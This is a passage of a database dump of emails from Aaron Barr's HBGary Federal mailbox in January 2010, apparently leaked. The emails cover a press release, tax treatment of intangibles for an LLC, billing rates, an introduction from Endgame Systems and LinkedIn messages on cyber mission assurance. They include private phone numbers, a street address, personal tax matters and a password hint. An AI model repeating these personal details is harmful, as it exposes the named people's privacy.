user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n\r\n    \r\n  \r\n\r\n\r\n',13288,'aaron_hbgary_com/13288.html'),(1124,'2010-01-14','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000233.M176677P3547Q1124.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Press Release','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron, we&#8217;ll insert some text and send back.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 14, 2010 8:51 AM\r\nTo: Matthew Steckman\r\nCc: Lisa Gordon\r\nSubject: Re: Press Release\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are still working on this but it should give you enough\r\ninformation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12413,'aaron_hbgary_com/12413.html'),(1125,'2010-01-14','ted@hbgary.com','/aaron@hbgary.com/new/1297000233.M396188P3547Q1125.eml','aaron@hbgary.com','Section 197 Intangibles','\r\n\r\nI\'ve shared Section 197 Intangibles\r\nMessage from ted@hbgary.com:\r\nThis is what we have so far.  Please review / revise as you see fit.\r\n\r\nTed\r\nClick to open:\r\nSection 197 Intangibles\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',5564,'aaron_hbgary_com/5564.html'),(1126,'2010-01-14','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000233.M592057P3547Q1126.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Whats ur plan tonight','Weird, I just got this on my BB, saw on my laptop you sent last night-i was already in the rack by 9...\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matt O\'Flynn\r\nSubject: Whats ur plan tonight\r\nSent: Jan 13, 2010 8:56 PM\r\n\r\nI am finishing up some work.  I don\'t have any plans.  Whats going on there?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nSent on the Sprint® Now Network from my BlackBerry®',10396,'aaron_hbgary_com/10396.html'),(1127,'2010-01-14','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297000234.M651299P3547Q1127.eml','\"Aaron Barr\" <aaron@hbgary.com>','Estimated Payments','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo dashes in password.\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless you\r\nare the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6930,'aaron_hbgary_com/6930.html'),(1128,'2010-01-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000234.M882601P3547Q1128.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Re: Code Section 197 Intangibles','Aaron and I just finished drafting the response.  You should have\r\nreceived a link to it in google docs.  Please review and comment.\r\n\r\nThanks!\r\nTed\r\n\r\nOn Tue, Jan 12, 2010 at 1:16 PM, Penny Leavy  wrote:\r\n> We need to put tangible examples in the contract for what you are\r\n> brining to table so your stock will not b taxed\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: John L. Cox, CPA \r\n> Date: Tue, Jan 12, 2010 at 7:00 AM\r\n> Subject: Code Section 197 Intangibles\r\n> To: Penny Leavy \r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> Please find the attached list of Section 197 intangibles and\r\n> intangibles defined.  The following are the likely candidates:\r\n>\r\n>\r\n>\r\n> 1              Goodwill\r\n>\r\n> 2              Workforce in place\r\n>\r\n> 3              Information base\r\n>\r\n> 4              Know how\r\n>\r\n>\r\n>\r\n> We need to be very specific under each intangible to describe in\r\n> detail the history of the intangible being contributed to the LLC by\r\n> Barr and Vera.  Please let me know if I can assist further.\r\n>\r\n> John L. Cox, CPA\r\n>\r\n> 12107 Faith Lane\r\n>\r\n> Bowie, Maryland 20715\r\n>\r\n> (240) 949-6022 Voice\r\n>\r\n> (866) 750-1973 Fax\r\n>\r\n>\r\n>\r\n> This message contains information that may be confidential and\r\n> privileged. Unless you are the addressee (or authorized to receive for\r\n> the addressee), you may not use, copy, print or disclose to anyone the\r\n> message or any information contained in the message. If you have\r\n> received this e-mail in error, please advise the sender by reply and\r\n> delete the message. Thank you.\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',1797,'aaron_hbgary_com/1797.html'),(1129,'2010-01-14','ted@hbgary.com','/aaron@hbgary.com/new/1297000235.M264415P3547Q1130.eml','aaron@hbgary.com','2010 Commercial Billing Rates Fully Burdened','\r\n\r\nI\'ve shared 2010 Commercial Billing Rates Fully Burdened\r\nMessage from ted@hbgary.com:\r\nHi John,\r\n\r\nCan we schedule some time this afternoon to review this with you?  Does 4pm your time work for you?\r\n\r\nThanks,\r\nTed\r\n\r\nClick to open:\r\n2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',8199,'aaron_hbgary_com/8199.html'),(1130,'2010-01-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000235.M474169P3547Q1131.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','Re: Estimated Payments','looks good.AaronOn Jan 14, 2010, at 10:18 AM, John L. Cox, CPA wrote:No dashes in password.John L. Cox, CPA12107 Faith LaneBowie,&nbsp;Maryland&nbsp;20715(240) 949-6022 Voice(866) 750-1973 Fax&nbsp;This message contains information that may be confidential and privileged. Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, print or disclose to anyone the message or any information contained in the message. If you have received this e-mail in error, please advise the sender by reply and delete the message. Thank you.&nbsp;&nbsp;&lt;Aaron Barr December 2009 Estimated Payments.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9297,'aaron_hbgary_com/9297.html'),(1131,'2010-01-14','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297000235.M72098P3547Q1129.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Code Section 197 Intangibles','Ted,\r\n\r\nWould you like me to review response?  If so, I need the link as well.\r\nThanks.\r\n\r\nJohn L. Cox, CPA\r\n12107 Faith Lane\r\nBowie, Maryland 20715\r\n(240) 949-6022 Voice \r\n(866) 750-1973 Fax\r\n \r\nThis message contains information that may be confidential and privileged.\r\nUnless you are the addressee (or authorized to receive for the addressee),\r\nyou may not use, copy, print or disclose to anyone the message or any\r\ninformation contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, January 14, 2010 12:20 PM\r\nTo: Penny Leavy\r\nCc: Aaron Barr; johncoxcpa@verizon.net\r\nSubject: Re: Code Section 197 Intangibles\r\n\r\nAaron and I just finished drafting the response.  You should have\r\nreceived a link to it in google docs.  Please review and comment.\r\n\r\nThanks!\r\nTed\r\n\r\nOn Tue, Jan 12, 2010 at 1:16 PM, Penny Leavy  wrote:\r\n> We need to put tangible examples in the contract for what you are\r\n> brining to table so your stock will not b taxed\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: John L. Cox, CPA \r\n> Date: Tue, Jan 12, 2010 at 7:00 AM\r\n> Subject: Code Section 197 Intangibles\r\n> To: Penny Leavy \r\n>\r\n>\r\n> Penny,\r\n>\r\n>\r\n>\r\n> Please find the attached list of Section 197 intangibles and\r\n> intangibles defined.  The following are the likely candidates:\r\n>\r\n>\r\n>\r\n> 1              Goodwill\r\n>\r\n> 2              Workforce in place\r\n>\r\n> 3              Information base\r\n>\r\n> 4              Know how\r\n>\r\n>\r\n>\r\n> We need to be very specific under each intangible to describe in\r\n> detail the history of the intangible being contributed to the LLC by\r\n> Barr and Vera.  Please let me know if I can assist further.\r\n>\r\n> John L. Cox, CPA\r\n>\r\n> 12107 Faith Lane\r\n>\r\n> Bowie, Maryland 20715\r\n>\r\n> (240) 949-6022 Voice\r\n>\r\n> (866) 750-1973 Fax\r\n>\r\n>\r\n>\r\n> This message contains information that may be confidential and\r\n> privileged. Unless you are the addressee (or authorized to receive for\r\n> the addressee), you may not use, copy, print or disclose to anyone the\r\n> message or any information contained in the message. If you have\r\n> received this e-mail in error, please advise the sender by reply and\r\n> delete the message. Thank you.\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n',4045,'aaron_hbgary_com/4045.html'),(1132,'2010-01-14','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000236.M276603P3547Q1133.eml','aaron@hbgary.com','Attribution re Google/China Hack Incident','Hi Aaron, I wanted to see if you could provide your take on this week\'s Google/China cybersecurity incident. \r\n&nbsp;\r\nWhen we last spoke, you mentioned the importance of attribution -- that&nbsp;companies/government agencies&nbsp;need to be able to identify source of attacks to be able to respond.&nbsp;In some of the articles, experts say:\r\n&nbsp;\r\nIt is very difficult to attribute a cyberattack to a foreign government. (Is this true -- can we do it using HBGary\'s technology?&nbsp; Obviously, Google must have been able to do so. Do you have any experience in this area?)\r\n&nbsp;\r\nU.S. has no formal policy for dealing with foreign government-led threats against U.S. interests. (Is this true -- do you think we should have one?)\r\n&nbsp;\r\nPenny was thinking we could possibly pitch you as an expert on this topic or pull together a contributed article or speaking abstract to pitch you for some upcoming conferences.\r\n&nbsp;\r\nLet me know what you think. Thanks, Karen&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n',7552,'aaron_hbgary_com/7552.html'),(1133,'2010-01-14','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297000236.M478682P3547Q1134.eml','\"Aaron Barr\" <aaron@hbgary.com>','My desk','My number is 404 781 2952 - sent someone elses in the schedule request\r\n\r\n--\r\nChris Rouland\r\nCEO\r\nEndgame Systems\r\nchris@endgames.us\r\n\r\n\r\n\r\n\r\n',1510,'aaron_hbgary_com/1510.html'),(1134,'2010-01-14','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297000236.M81079P3547Q1132.eml','ted@hbgary.com,ted@hbgary.com','RE: 2010 Commercial Billing Rates Fully Burdened','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, 4:00pm would be my time would be fine.&nbsp; I can set up\r\ngo to meeting so you can see my computer as we discuss developing billing rates\r\n(no cost to you).&nbsp; I cannot conference you in if there are extension numbers\r\nso you will have to do that on your end.&nbsp; I can, however, set up the\r\ngotomeeting for all to use. &nbsp;Please confirm.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nL. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240)\r\n949-6022 Voice \r\n\r\n(866)\r\n750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message contains information that may be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for the\r\naddressee), you may not use, copy, print or disclose to anyone the message or\r\nany information contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: ted@hbgary.com\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, January 14, 2010 12:56 PM\r\nTo: johncoxcpa@verizon.net\r\nSubject: 2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  I\'ve shared 2010\r\n  Commercial Billing Rates Fully Burdened\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMessage from ted@hbgary.com: \r\n\r\nHi John,&nbsp;Can we schedule some time this afternoon to review this with you?&nbsp; Does 4pm your time work for you?&nbsp;Thanks,Ted\r\n\r\nClick to open: \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n2010\r\nCommercial Billing Rates Fully Burdened\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online\r\ndocuments, spreadsheets and presentations. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15860,'aaron_hbgary_com/15860.html'),(1135,'2010-01-14','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297000245.M230401P3547Q1135.eml','\"Aaron Barr\" <aaron@hbgary.com>','Endgame Systems','Aaron,\r\n\r\nEnjoyed talking to you today - attached is our corporate intro - look forward to a deep dive.\r\n\r\n-Chris\r\n\r\n--\r\nChris Rouland\r\nCEO\r\nEndgame Systems\r\nchris@endgames.us\r\n\r\n\r\n\r\n',14722,'aaron_hbgary_com/14722.html'),(1136,'2010-01-14','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297000245.M808442P3547Q1136.eml','\"John Farrell\" <john@endgames.us>,\"Aaron Barr\" <aaron@hbgary.com>','Endgames / HB Gary Federal','John,\r\n\r\nI wanted to introduce you to Aaron Barr, the CEO of HBGary Federal.  This is a new company spun out of HB Gary focused on classified government services in our space.  Aaron may have an opportunity to work with us on a Cayman/Corsica data feed for the Army, as well as a few others.  Hopefully you guys can get together face to face soon in DC.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n--\r\nChris Rouland\r\nCEO\r\nEndgame Systems\r\nchris@endgames.us\r\n\r\n\r\n\r\n\r\n',13493,'aaron_hbgary_com/13493.html'),(1137,'2010-01-14','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000245.M986979P3547Q1137.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Does This look OK for intangilbes?','If you want to be sure on taxes, we need to do below.  Can you get\r\nthis soon?  Do you have it in DB form, perhaps we can just attach? (or\r\nexcel or something?)  I\'ll ask Angela is we can add to it\r\n\r\n---------- Forwarded message ----------\r\nFrom: John L. Cox, CPA \r\nDate: Thu, Jan 14, 2010 at 12:17 PM\r\nSubject: RE: Does This look OK for intangilbes?\r\nTo: Penny Leavy \r\n\r\n\r\nYes.  This should be part of the LLC agreement.  Also, all the companies I\r\nhave dealt with have required a detailed list of specific items  included\r\nfor goodwill - list of specific relationships, names addresses phone numbers\r\netc.  Information Base - same as goodwill, detailed list.  Know How -\r\nDetailed list of the know how they possess for processes, procedures,\r\nspecific knowledge of customer strategic goals, budgets and procurement\r\nprocesses.\r\n\r\n\r\nPlease let me know if I can assist further.\r\n\r\n\r\nJohn L. Cox, CPA\r\n12107 Faith Lane\r\nBowie, Maryland 20715\r\n(240) 949-6022 Voice\r\n(866) 750-1973 Fax\r\n\r\nThis message contains information that may be confidential and privileged.\r\nUnless you are the addressee (or authorized to receive for the addressee),\r\nyou may not use, copy, print or disclose to anyone the message or any\r\ninformation contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy [mailto:penny@hbgary.com]\r\nSent: Thursday, January 14, 2010 3:01 PM\r\nTo: John L. Cox, CPA\r\nSubject: Does This look OK for intangilbes?\r\n\r\nGoodwill:  Ted Vera & Aaron Barr maintain relationships with numerous\r\nGovernment officials within the Department of Defense (DOD), and\r\nIntelligence Community (IC) including the Departments of the Army,\r\nNavy, Air Force, DNI, CIA, NSA, DIA, and DOE.  Additionally, they\r\nmaintain relationships with senior level management of major defense\r\ncontractors including Northrop Grumman, SAIC, Lockheed Martin, General\r\nDynamics, Mantech, Palantir, CSC, and Raytheon.  Their relationships\r\nand reputations with these customers will result in continued\r\npatronage through HBGary Federal LLC.\r\n\r\n\r\nWorkforce in place: Ted Vera & Aaron Barr come to HBGary Federal LLC\r\nas an assembled workforce with specific experience, education, and\r\ntraining that will enable them to conduct business with Government\r\ncustomers.  Ted and Aaron have been working together since 2001 for\r\nmajor defense contractors.  Both have served as Program Managers for\r\nUS Government projects and have over 200 hours of specialized DoD\r\ncontractor training.\r\n\r\n\r\n\r\nInformation Base:  Ted Vera & Aaron Barr maintain customer lists and\r\npersonal contact information for numerous senior Government Officials\r\nand senior leadership at Defense Contractor companies that represent\r\nhigh value customer targets for HBGary Federal LLC.  Contacts include\r\npersonnel from the Departments of the Army, Navy, Air Force, DNI, CIA,\r\nNSA, DIA, and DOE and executive level management of major defense\r\ncontractors including Northrop Grumman, SAIC, Lockheed Martin, General\r\nDynamics, Mantech, Palantir, CSC, and Raytheon.\r\n\r\n\r\nKnow how:  Ted Vera & Aaron Barr have extensive knowledge and\r\nexperience with Government contracting processes, procedures, and\r\nregulations relating to providing classified support in accordance\r\nwith Federal Acquisition Regulations (FAR).  Additionally, they\r\npossess knowledge of customer strategic goals, budgets and procurement\r\nprocesses.  Ted and Aaron have successfully managed government\r\ncontracts and internal research and development programs in excess of\r\n$25 million.\r\n\r\n\r\nGovernment Licenses & Permits:  Ted Vera & Aaron Barr posses Top\r\nSecret security clearances with special access.  Qualifying for this\r\nlevel of Government security clearance generally takes 12-18 months.\r\nThese qualifications are required to conduct business with specific\r\nDoD and IC customers.  Having them in place will enable HBGary Federal\r\nLLC to conduct business providing classified support.\r\n\r\n\r\n--\r\nPenny C. Leavy\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',14124,'aaron_hbgary_com/14124.html'),(1138,'2010-01-14','\"Eric Hallam\" <eric@dreamseedbooks.com>','/aaron@hbgary.com/new/1297000246.M156734P3547Q1138.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Can you endorse me?','Sorry that it did not work out this trip.  I hope we can get together next time.On Wed, Jan 13, 2010 at 8:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Eric,Sorry its been a bit busy.  Did you still want to get together?  I know we are having a lunch with some folks from the office tomorrow.  I am here through tomorrow.\r\nAaronOn Jan 8, 2010, at 7:28 AM, Eric Hallam wrote:\r\n\r\n\r\n  \r\n\r\n  \r\nLinkedIn RecommendationsEric Hallam is requesting an endorsement for work\r\n     Dear Aaron, \r\nAaron, I am trying to get my profile 100% complete. In order to do so I need to have another recommendation. I&#39;m sending this to ask you for a brief recommendation of my work that I can include in my LinkedIn profile. If you have any questions, let me know.\r\n\r\n\r\nThanks in advance for helping me out.\r\n\r\n-Eric Hallam\r\n  \r\n  \r\n\r\n      \r\n      \r\n\r\n        Endorse Eric Hallam.\r\n        It only takes a minute\r\n      \r\n      Your endorsement can help Eric Hallam:\r\n      \r\n        Hire and get hired\r\n        Win customers and partnerships\r\n        Build a stronger professional reputation\r\n      \r\n  This email was sent to you by Eric Hallam (eric@dreamseedbooks.com) through LinkedIn because Eric Hallam entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n\r\n© 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',8392,'aaron_hbgary_com/8392.html'),(1139,'2010-01-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000246.M334938P3547Q1139.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: Does This look OK for intangilbes?','I\'m working on it now.  Aaron, please update our \"call list\" contacts in google docs.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn Jan 14, 2010, at 4:14 PM, Penny Leavy wrote:\r\n\r\n> If you want to be sure on taxes, we need to do below.  Can you get\r\n> this soon?  Do you have it in DB form, perhaps we can just attach? (or\r\n> excel or something?)  I\'ll ask Angela is we can add to it\r\n> \r\n> ---------- Forwarded message ----------\r\n> From: John L. Cox, CPA \r\n> Date: Thu, Jan 14, 2010 at 12:17 PM\r\n> Subject: RE: Does This look OK for intangilbes?\r\n> To: Penny Leavy \r\n> \r\n> \r\n> Yes.  This should be part of the LLC agreement.  Also, all the companies I\r\n> have dealt with have required a detailed list of specific items  included\r\n> for goodwill - list of specific relationships, names addresses phone numbers\r\n> etc.  Information Base - same as goodwill, detailed list.  Know How -\r\n> Detailed list of the know how they possess for processes, procedures,\r\n> specific knowledge of customer strategic goals, budgets and procurement\r\n> processes.\r\n> \r\n> \r\n> Please let me know if I can assist further.\r\n> \r\n> \r\n> John L. Cox, CPA\r\n> 12107 Faith Lane\r\n> Bowie, Maryland 20715\r\n> (240) 949-6022 Voice\r\n> (866) 750-1973 Fax\r\n> \r\n> This message contains information that may be confidential and privileged.\r\n> Unless you are the addressee (or authorized to receive for the addressee),\r\n> you may not use, copy, print or disclose to anyone the message or any\r\n> information contained in the message. If you have received this e-mail in\r\n> error, please advise the sender by reply and delete the message. Thank you.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Thursday, January 14, 2010 3:01 PM\r\n> To: John L. Cox, CPA\r\n> Subject: Does This look OK for intangilbes?\r\n> \r\n> Goodwill:  Ted Vera & Aaron Barr maintain relationships with numerous\r\n> Government officials within the Department of Defense (DOD), and\r\n> Intelligence Community (IC) including the Departments of the Army,\r\n> Navy, Air Force, DNI, CIA, NSA, DIA, and DOE.  Additionally, they\r\n> maintain relationships with senior level management of major defense\r\n> contractors including Northrop Grumman, SAIC, Lockheed Martin, General\r\n> Dynamics, Mantech, Palantir, CSC, and Raytheon.  Their relationships\r\n> and reputations with these customers will result in continued\r\n> patronage through HBGary Federal LLC.\r\n> \r\n> \r\n> Workforce in place: Ted Vera & Aaron Barr come to HBGary Federal LLC\r\n> as an assembled workforce with specific experience, education, and\r\n> training that will enable them to conduct business with Government\r\n> customers.  Ted and Aaron have been working together since 2001 for\r\n> major defense contractors.  Both have served as Program Managers for\r\n> US Government projects and have over 200 hours of specialized DoD\r\n> contractor training.\r\n> \r\n> \r\n> \r\n> Information Base:  Ted Vera & Aaron Barr maintain customer lists and\r\n> personal contact information for numerous senior Government Officials\r\n> and senior leadership at Defense Contractor companies that represent\r\n> high value customer targets for HBGary Federal LLC.  Contacts include\r\n> personnel from the Departments of the Army, Navy, Air Force, DNI, CIA,\r\n> NSA, DIA, and DOE and executive level management of major defense\r\n> contractors including Northrop Grumman, SAIC, Lockheed Martin, General\r\n> Dynamics, Mantech, Palantir, CSC, and Raytheon.\r\n> \r\n> \r\n> Know how:  Ted Vera & Aaron Barr have extensive knowledge and\r\n> experience with Government contracting processes, procedures, and\r\n> regulations relating to providing classified support in accordance\r\n> with Federal Acquisition Regulations (FAR).  Additionally, they\r\n> possess knowledge of customer strategic goals, budgets and procurement\r\n> processes.  Ted and Aaron have successfully managed government\r\n> contracts and internal research and development programs in excess of\r\n> $25 million.\r\n> \r\n> \r\n> Government Licenses & Permits:  Ted Vera & Aaron Barr posses Top\r\n> Secret security clearances with special access.  Qualifying for this\r\n> level of Government security clearance generally takes 12-18 months.\r\n> These qualifications are required to conduct business with specific\r\n> DoD and IC customers.  Having them in place will enable HBGary Federal\r\n> LLC to conduct business providing classified support.\r\n> \r\n> \r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',4089,'aaron_hbgary_com/4089.html'),(1140,'2010-01-15','\"Hull, George B (TASC Inc)\" <George.Hull@TASC.COM>','/aaron@hbgary.com/new/1297000246.M582989P3547Q1140.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Re: Your status','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n \r\nNo I don’t have any names, but I will be in San Antonio Monday visiting our\r\nteam.  I will see what I learn.\r\n\r\n&nbsp;\r\n\r\nGeorge\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGeorge B. Hull \r\nDirector of Technology &amp; Strategy \r\nMission Engineering Business Unit \r\nOffice: 703-449-3987 \r\nCell: 571-230-7495\r\n\r\ngeorge.hull@tasc.com \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nmessages-noreply@bounce.linkedin.com\r\n[mailto:messages-noreply@bounce.linkedin.com] On Behalf Of Aaron Barr\r\nSent: Wednesday, January 13, 2010 9:05 PM\r\nTo: Hull, George B (TASC Inc)\r\nSubject: RE: Re: Your status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  Aaron\r\n  Barr\r\n  has sent you a message.\r\n  Date: 1/13/2010 \r\n  Subject: RE: Re: Your status\r\n  \r\n  Hi\r\n  George,\r\n  \r\n  Yes it does seem this concept is now finally being put in to practice. A very\r\n  positive step. Also the idea of one network, no more command autonomy for\r\n  security implementation. Lots of positives.\r\n  \r\n  I keep up on the happenings a bit from Steve. Sounds like a bit of a roller\r\n  coaster, but sounds like the ride is smoothing out.\r\n  \r\n  The new job is a new set of challenges, so far I am enjoying being the master\r\n  of my domain so to speak, but I am a small player now looking to fit what we\r\n  think is a discriminating technology in a much larger picture. Which is\r\n  interesting when you know the big picture. Having fun.\r\n  \r\n  I have a question for you. I would like to talk with someone in the A3 under\r\n  24th and/or AFISR about cyber based IO. Do you have any idea who I would want\r\n  to talk to?\r\n  \r\n  Aaron\r\n  \r\n  On 01/13/10 6:18 AM, George Hull wrote:\r\n  --------------------\r\n  Aaron,\r\n  \r\n  That was one of my themes from the 2d Air Force Science Board report on\r\n  Cyberwar. In the 1st study, I successfully argued for the position that we\r\n  cannot necessarily keep bad guys out of our networks and systems and that for\r\n  warfighting systems and networks we had to learn to &quot;fight through&quot;\r\n  these attacks, not pull systems off line and launch investigations. In the 2d\r\n  study, I set out a position at one point that information assurance was not\r\n  enough, it was a necessary but not sufficient condition for mission success.\r\n  Instead we need Mission Assurance. We protect systems and networks in order\r\n  to protect information, we protect information in order to accomplish\r\n  missions. It is a mission assurance focus we need. Key to a Mission Assurance\r\n  focus is that we cannot leave information security completely in the hand of\r\n  the A6 (or N6, G6 or J6). It is an operational responsibility and thus the\r\n  province of the 3\'s of the world and their Commanders. Mission assurance is a\r\n  top down look, while information assurance is typically bottoms up. They are\r\n  both needed. Both the Fighting Through and Mission Assurance themes seem to\r\n  have caught on. Nice to see the study panel\'s work having some impact.\r\n  \r\n  Hope you are doing well in your new role. Things are interesting here. Lot\'s\r\n  of change and much more to come.\r\n  \r\n  George\r\n  \r\n  On 01/12/10 12:06 PM, Aaron Barr wrote:\r\n  --------------------\r\n  Aaron Barr Gen. Kehler states at AFCEA cyberspace conference, &quot;you can\'t\r\n  defend cyberspace, it\'s about mission assurance&quot;. \r\n  View/reply to this message\r\n  \r\n  Don\'t want to receive\r\n  e-mail notifications? Adjust your message settings.\r\n  \r\n  © 2010, LinkedIn Corporation \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6285,'aaron_hbgary_com/6285.html'),(1141,'2010-01-15','\"Aaron Barr\" 